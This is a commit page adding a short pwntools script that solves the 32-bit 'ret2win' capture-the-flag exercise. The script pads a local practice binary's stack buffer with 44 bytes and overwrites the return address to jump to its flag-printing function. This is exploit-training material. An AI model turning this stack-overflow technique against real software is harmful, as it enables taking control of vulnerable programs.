exploit for 32-bit ret2win

AravGarg · Mar 28, 2020 · 8251d75 · 8251d75
1 parent 17fe910
commit 8251d75
Showing 1 changed file with 17 additions and 0 deletions.
diff --git a/ret2win32.py b/ret2win32.py
@@ -0,0 +1,17 @@
+from pwn import *
+target=process('./ret2win32')
+
+#intial payload
+payload="A"*44
+
+#return address to print flag
+ret2win=0x8048659
+
+#final payload
+payload+=p32(ret2win)
+payload+="\x00"*2
+
+#send payload
+target.sendline(payload)
+
+target.interactive()